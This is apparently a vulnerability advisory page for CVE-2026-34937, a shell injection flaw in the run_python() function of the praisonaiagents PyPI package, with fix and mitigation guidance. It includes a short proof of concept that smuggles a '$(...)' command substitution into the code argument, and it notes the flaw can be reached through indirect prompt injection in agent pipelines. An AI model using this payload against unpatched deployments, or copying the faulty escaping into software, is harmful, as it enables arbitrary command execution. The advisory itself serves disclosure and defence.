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🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2026-34937 — praisonaiagents

HIGH

CVE-2026-34937 is a high-severity (CVSS 7.8) OS Command Injection vulnerability in praisonaiagents. A fix is available for praisonaiagents — see the affected versions and patch details below.

PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution

Also known asPYSEC-2026-2954
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 3, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34937.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs47th percentile — riskier than 47% of all scored CVEsHighest risk
0.00%0.38%0.76%1.13%0.0%0.6%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍praisonaiagents

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.

Details

execute_command.py:290 (source) -> execute_command.py:297 (hop) -> execute_command.py:310 (sink)

# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):

# hop -- incomplete escaping, $ and () not handled
    escaped_code = code.replace('\\', '\\\\').replace('"', '\\"')
    command = f'{python_cmd} -c "{escaped_code}"'

# sink -- shell=True expands $() before python3 runs
    return execute_command(command=command, cwd=cwd, timeout=timeout)
    # execute_command calls subprocess.run(command, shell=True, ...)

PoC

# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.code.tools.execute_command import run_python

result = run_python(code='$(id > /tmp/injected)')
print(result)

# verify
import subprocess
print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Any agent pipeline or API consumer that passes user or task-supplied content to run_python() is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with AUTH_ENABLED = False by default when no token is configured.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpraisonaiagentsall versions1.5.90pip install --upgrade 'praisonaiagents==1.5.90'

Affected Products

1 product · 1 configurations
Application
praisonaiagentspraison
< 1.5.90
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonaiagents, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update praisonaiagents to 1.5.90 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-34937 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

### Summary `run_python()` in `praisonai` constructs a shell command string by interpolating user-controlled code into `python3 -c "<code>"` and passing it to `subprocess.run(..., shell=True)`. The escaping logic only handles `\` and `"`, leaving `$()` and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked. ### Details `execute_command.py:290` (source) -> `execute_command.py:297` (hop) -> `execute_command.py:310` (sink) ```python # source -- user-controlled code argument def run_python(code: str, cwd=None, timeout=60): # hop -- incomplete esc
O3 Security · Impact-Aware SCA

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CVE-2026-34937: praisonaiagents — Fixed in 1.5.90